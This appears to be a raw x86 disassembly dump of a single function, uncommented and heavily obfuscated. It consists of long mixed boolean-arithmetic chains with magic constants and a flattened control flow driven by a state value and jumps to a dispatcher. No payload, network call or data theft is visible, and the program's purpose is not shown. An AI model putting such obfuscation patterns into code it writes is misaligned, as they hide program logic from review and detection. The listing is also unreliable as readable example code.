mov esi, ebx
xor esi, 0x8e89799b
and esi, ebx
mov eax, esi
not eax
or ebp, eax
and eax, 0xbac3b2be
and esi, 0x453c4d41
or esi, eax
xor esi, edx
not ebp
or ebp, esi
mov eax, dword [esp + 0xc]
mov esi, eax
xor esi, eax
not esi
and esi, ebp
xor esi, eax
mov eax, ebx
and eax, 0xf9e5090
and ecx, 0xf061af6f
or ecx, eax
mov eax, dword [esp]
or ebx, eax
and eax, 0xf9e5090
and edi, 0xf061af6f
or edi, eax
xor edi, ecx
not ebx
or ebx, edi
mov edx, esi
not edx
mov eax, edx
and eax, 0xf6b2010c
and esi, 0x94dfef3
or esi, eax
xor esi, ebx
xor esi, 0x94dfef3
or edx, ebx
not edx
or edx, esi
mov esi, edx
not esi
mov edi, esi
and edi, edx
mov eax, edx
and eax, 0x46c45181
mov ecx, esi
and ecx, 0x19110854
or ecx, eax
mov ebx, edi
not ebx
mov eax, edx
or eax, ebx
and ebx, 0x46c45181
and edi, 0x19110854
or edi, ebx
xor edi, ecx
mov ebx, dword [esp + 8]
mov ebp, ebx
xor ebp, 0x4fa649fb
and ebp, ebx
not eax
or eax, edi
not eax
or eax, 0xa02aa62a
and esi, 0xff5bb1bb
and edx, 0xa44e44
or edx, esi
mov ecx, edx
xor ecx, 0xa44e44
xor edx, 0xd91aa103
and edx, 0xd9baed03
mov esi, ecx
and esi, 0x264512fc
or esi, edx
xor esi, 0x866fb4d6
and ecx, 0x5fd559d5
or ecx, esi
mov edx, ecx
xor edx, 0x2a4b49eb
xor edx, ecx
xor edx, 0xd5b4b614
and edx, eax
or eax, ecx
xor edx, ecx
mov ecx, edx
not ecx
mov esi, ecx
and esi, 0xf3b471ab
and edx, 0xc4b8e54
or edx, esi
or ecx, eax
and eax, 0xfff579ff
xor eax, edx
xor eax, 0xc410854
not ecx
or ecx, eax
mov eax, ecx
xor eax, 0xa02aa62a
mov edx, dword [esp + 4]
and edx, 0xc5fddb95
and ebx, 0x3a02246a
or ebx, edx
mov edx, ebx
xor edx, 0x60
xor ebx, 0x45a44991
or ebx, 0xb059b604
mov esi, ebp
not esi
mov edi, ebx
and edi, 0x7a1f909f
and edx, 0x5a04960
or edx, edi
or ebx, esi
and esi, 0x7a1f909f
and ebp, 0x85e06f60
or ebp, esi
xor ebp, edx
not ebx
or ebx, ebp
mov edx, ebx
xor edx, 0x90091400
xor ebx, 0x45a04999
and ebx, 0x65f0eb9d
and edx, 0x9a0f1462
or edx, ebx
mov esi, edx
xor esi, 0x9a0f1462
xor edx, 0x65f0eb9d
mov ebx, edx
and ebx, 0xa5f1cdcc
mov edi, esi
and edi, 0x5a0e3233
or edi, ebx
xor edi, 0x5a0e3233
or edi, esi
mov ebx, edi
not ebx
and esi, 0x62d9b96e
and edx, 0x9d264691
or edx, esi
and edi, 0x62d9b96e
mov esi, ebx
and esi, 0x9d264691
or esi, edi
xor esi, edx
or esi, ebx
xor ecx, 0x5fd559d5
mov ebx, esi
mov edi, esi
mov edx, esi
xor edx, 0x58a82c9d
and edx, esi
not esi
mov ebp, esi
and ebp, 0x5bf91750
and ebx, 0xa406e8af
or ebx, ebp
xor ebx, 0xa406e8af
or ebx, ecx
and ecx, 0x50000080
mov ebp, eax
and ebp, 0x8a82c1d
or ebp, ecx
xor ebp, 0x8a82c1d
and eax, 0xa757d362
or eax, ebp
and esi, 0x5d5da587
and edi, 0xa2a25a78
or edi, esi
mov ecx, edi
xor ecx, 0xa2a25a78
xor edi, 0x5f5891a
and edi, ecx
mov esi, edi
not esi
mov ecx, edx
not ecx
mov ebp, esi
and ebp, 0x76ee8cad
and edi, 0x89117352
or edi, ebp
or esi, ecx
and ecx, 0x76ee8cad
and edx, 0x89117352
or edx, ecx
xor edx, edi
not esi
or esi, edx
mov ecx, esi
xor ecx, esi
not ecx
and ecx, eax
xor ecx, esi
mov eax, ecx
not eax
mov edx, ebx
xor edx, 0x1c3d7d48
or ebx, eax
and eax, 0xe3c282b7
and ecx, 0x1c3d7d48
or ecx, eax
mov eax, ecx
xor eax, ecx
not eax
and eax, edx
xor eax, ecx
mov edx, eax
not edx
mov ecx, edx
and ecx, 0x4e6b77b9
and eax, 0xb1948846
or eax, ecx
xor eax, ebx
xor eax, 0xb1948846
or edx, ebx
not edx
or edx, eax
mov ecx, edx
not ecx
mov eax, edx
and eax, 0x271d0aa3
mov esi, ecx
and esi, 0xe8aad414
and edx, 0x17552beb
or edx, esi
xor edx, 0xe8aad414
or edx, ecx
and ecx, 0xd8e2f55c
or ecx, eax
mov eax, ecx
xor eax, 0x22110080
xor ecx, 0xd8e0150c
and ecx, 0xddec1f2f
and eax, 0x2213e0d0
or eax, ecx
mov ebx, eax
xor ebx, 0x2c090
xor eax, 0x11e40428
and eax, 0x33f52468
and ebx, 0xcc0adb97
or ebx, eax
mov eax, ebx
xor eax, 0xc8021a81
mov esi, ebx
xor esi, 0x33f52468
mov edi, edx
not edi
mov dword [esp + 8], edi
mov ecx, esi
and ecx, 0x155de53e
and eax, 0xeaa21ac1
or eax, ecx
mov ecx, edx
and ecx, 0x3898e82d
and edi, 0xc76717d2
or edi, ecx
mov dword [esp], edi
mov edi, eax
xor edi, 0xeaa21ac1
mov dword [esp + 4], edi
mov ecx, eax
xor ecx, 0xd0cd0023
and ecx, edi
mov ebp, ecx
not ebp
mov edi, ebp
and edi, 0x9297a282
and ecx, 0x6d685d7d
or ecx, edi
or esi, 0xc590e51d
xor ebx, 0x8081800
or ebp, esi
and esi, 0x9297a282
and ebx, 0x28681860
or ebx, esi
xor ebx, ecx
not ebp
or ebp, ebx
mov ecx, dword [esp]
mov ebx, ecx
xor ebx, 0xc76717d2
xor ecx, 0xfd080d30
and ecx, ebx
mov esi, ecx
not esi
mov edi, esi
and edi, 0xaa81ad37
and ecx, 0x557e52c8
or ecx, edi
or edx, 0xc590e51d
or esi, edx
and edx, 0xaa81ad37
mov edi, dword [esp + 8]
and edi, 0x106e12c0
or edi, edx
xor edi, ecx
not esi
or esi, edi
mov ecx, esi
xor ecx, esi
not ecx
and ecx, ebp
xor ecx, esi
xor eax, 0x155de53e
mov edx, eax
and edx, 0xa27af509
mov esi, dword [esp + 4]
and esi, 0x5d850af6
or esi, edx
mov edx, dword [esp]
xor edx, 0x3898e82d
or eax, edx
and edx, 0xa27af509
and ebx, 0x5d850af6
or ebx, edx
xor ebx, esi
not eax
or eax, ebx
not eax
or eax, ecx
mov ecx, eax
xor ecx, 0xd3a9b848
and ecx, eax
not eax
mov edx, eax
and edx, 0xd3a9b848
or ecx, edx
xor ecx, 0x2c5647b7
or ecx, eax
xor ecx, 0x5fa2b848
cmp ecx, 0xa05d47b7
sete al
cmp dword [0x1004090c], 0xa
setl byte [esp + 8]
setge byte [esp + 0xc]
mov edx, eax
inc dl
and dl, al
xor dl, 1
mov ecx, edx
xor cl, al
or dl, al
xor dl, 1
or dl, cl
mov ch, dl
xor ch, 1
mov al, ch
and al, dl
mov ebx, eax
mov byte [esp], dl
xor bl, dl
and bl, al
mov dh, al
xor dh, 1
mov cl, dh
or cl, ch
xor cl, 1
or cl, dl
mov eax, ecx
xor al, 1
and al, cl
xor al, 1
mov bh, cl
xor bh, al
or al, cl
xor al, 1
or al, bh
mov cl, al
xor cl, 1
and al, cl
xor al, 1
mov bh, cl
xor bh, al
or al, cl
xor al, 1
or al, bh
mov cl, al
xor cl, 1
and al, cl
xor al, 1
mov bh, al
xor bh, cl
or al, cl
xor al, 1
or al, bh
mov dl, al
xor dl, 1
mov cl, al
and cl, dl
xor cl, 1
mov bh, dl
xor bh, cl
or dl, cl
xor dl, 1
or dl, bh
mov bh, al
xor bh, cl
or cl, al
xor cl, 1
or cl, bh
mov bh, al
xor bh, cl
or cl, al
xor cl, 1
or cl, bh
xor bh, 1
mov al, bh
xor al, cl
or bh, cl
xor bh, 1
or bh, al
mov al, bh
xor al, 1
and bh, al
xor bh, 1
mov cl, al
xor cl, bh
or bh, al
mov eax, edx
xor al, 1
xor bh, 1
or bh, cl
mov ah, al
xor ah, bh
xor bh, 1
mov cl, dl
xor cl, bh
and cl, dl
xor bh, al
or bh, cl
mov al, bh
xor al, 1
mov cl, al
and cl, ah
xor ah, 1
and bh, ah
or bh, cl
mov cl, ah
xor cl, al
or ah, al
xor ah, 1
or ah, cl
xor ah, 1
or ah, bh
mov al, bl
xor al, 1
mov cl, al
or cl, ch
xor cl, 1
mov dl, byte [esp]
mov bh, dl
or bh, bl
xor bh, 1
or bh, cl
and al, ch
or ch, bl
xor ch, 1
and bl, dl
or bl, al
or bl, ch
xor bh, 1
mov al, bh
xor al, bl
or bh, bl
xor bh, 1
or bh, al
mov ch, bh
mov dl, byte [esp + 0xc]
xor ch, dl
or bh, dl
mov al, bh
xor al, 1
or ch, al
mov cl, ch
xor cl, 1
and al, ch
and cl, bh
or cl, al
xor ah, dl
mov byte [esp + 4], ah
or ch, bh
xor ch, 1
or ch, cl
mov ebx, edx
mov cl, byte [esp]
or bl, cl
mov al, dh
xor al, cl
or dh, cl
xor dh, 1
or dh, al
and dl, dh
xor dh, 1
and dh, byte [esp + 8]
or dh, dl
mov cl, dh
xor cl, 1
mov al, dh
and al, bl
xor bl, 1
and cl, bl
or cl, al
mov eax, ebx
xor al, dh
or bl, dh
xor bl, 1
or bl, al
xor cl, 1
mov eax, ecx
xor al, bl
or cl, bl
xor cl, 1
or cl, al
mov eax, ecx
xor al, 1
mov ah, al
and ah, cl
xor ah, 1
or ah, cl
xor ah, 1
or ah, al
mov dh, ah
xor dh, 1
mov dl, ch
xor dl, 1
mov ebx, edx
and bl, ch
mov cl, dh
and cl, ah
xor bl, 1
or bl, ch
xor bl, 1
or bl, dl
xor cl, 1
mov al, ah
xor al, cl
or cl, ah
xor cl, 1
or cl, al
mov al, bl
xor al, 1
and al, cl
xor cl, 1
and cl, bl
or cl, al
mov ebx, edx
xor bl, ah
and bl, dl
and dh, ch
and dl, ah
or dl, dh
mov eax, ebx
xor al, 1
xor bl, dl
xor dl, 1
or dl, al
xor dl, 1
or dl, bl
xor dl, cl
and cl, dl
xor cl, 1
mov eax, ecx
xor al, dl
or cl, dl
xor cl, 1
or cl, al
mov ch, cl
xor ch, 1
mov ah, ch
and ah, cl
xor ah, 1
mov edx, ecx
or dl, ah
xor dl, 1
or dl, ch
xor dl, 1
mov al, ch
xor al, dl
or dl, ch
xor dl, 1
or dl, al
xor dl, 1
mov dh, dl
or ah, ch
xor ah, 1
or ah, cl
xor ah, dl
xor dl, cl
or dh, cl
xor dh, 1
or dh, dl
xor ah, 1
mov al, dh
or al, ah
xor al, 1
xor ah, dh
or ah, al
mov al, ah
xor al, 1
mov edx, eax
and dl, ah
xor dl, 1
xor ah, dl
or dl, al
mov al, ah
xor al, dl
or dl, ah
xor dl, 1
or dl, al
mov ah, dl
xor ah, 1
mov al, dl
and al, ah
mov ecx, eax
xor cl, 1
mov dh, cl
and dh, al
xor dh, 1
mov ch, al
xor ch, dh
or dh, al
xor dh, 1
or dh, ch
mov ch, ah
or ch, cl
xor ch, 1
or ch, dl
mov al, dh
xor al, 1
and al, ch
xor ch, 1
and ch, dh
or ch, al
or cl, dl
xor ch, 1
mov al, ch
xor al, cl
or ch, cl
xor ch, 1
or ch, al
mov cl, ch
xor cl, 1
and cl, ch
xor cl, 1
mov al, ch
xor al, cl
or cl, ch
xor cl, 1
or cl, al
mov al, cl
xor al, 1
and al, dl
mov ch, cl
xor ch, ah
and ch, cl
and cl, ah
mov ah, byte [esp + 4]
mov dl, ah
xor dl, 1
or cl, al
xor ch, 1
xor cl, 1
mov al, ch
xor al, cl
or cl, ch
xor cl, 1
or cl, al
xor cl, 1
mov ch, ah
and dl, ah
xor dl, 1
mov al, ah
xor al, dl
or dl, ah
xor dl, 1
or dl, al
xor dl, 1
mov eax, edx
xor al, cl
xor al, 1
or dl, cl
mov ah, al
xor ah, dl
or dl, al
xor dl, 1
or dl, ah
mov al, ch
xor al, cl
or cl, ch
and cl, al
mov eax, ecx
xor al, 1
mov ah, al
and ah, cl
xor ah, 1
mov ch, ah
xor ch, cl
or ah, cl
xor ah, 1
or ah, ch
xor ah, dl
xor cl, dl
mov ch, dl
xor ch, al
or al, dl
xor al, 1
or al, ch
mov edx, ecx
xor dl, al
or al, cl
mov cl, ah
xor cl, 1
xor al, 1
or al, dl
mov edx, eax
xor dl, 1
and dl, cl
or cl, al
and al, ah
or al, dl
mov edx, eax
xor dl, cl
test al, 1
mov ebx, 0x66ea4d76
mov esi, 0x9587ac96
cmovne ebx, esi
test cl, 1
mov eax, 0x66ea4d76
cmovne ebx, eax
test dl, 1
cmove ebx, esi
jmp 0x1000b8a0
mov eax, dword [esp + 0x14]
mov dword [esp + 0x44], eax
mov ebx, 0x426913b6
jmp 0x1000b8a0
cmp ebx, 0xe392f291
jne 0x1000b8a0
mov ecx, dword [esp + 0x4c]
xor ecx, esp
call fcn.1002cab0
add esp, 0x50
pop esi
pop edi
pop ebx
pop ebp
ret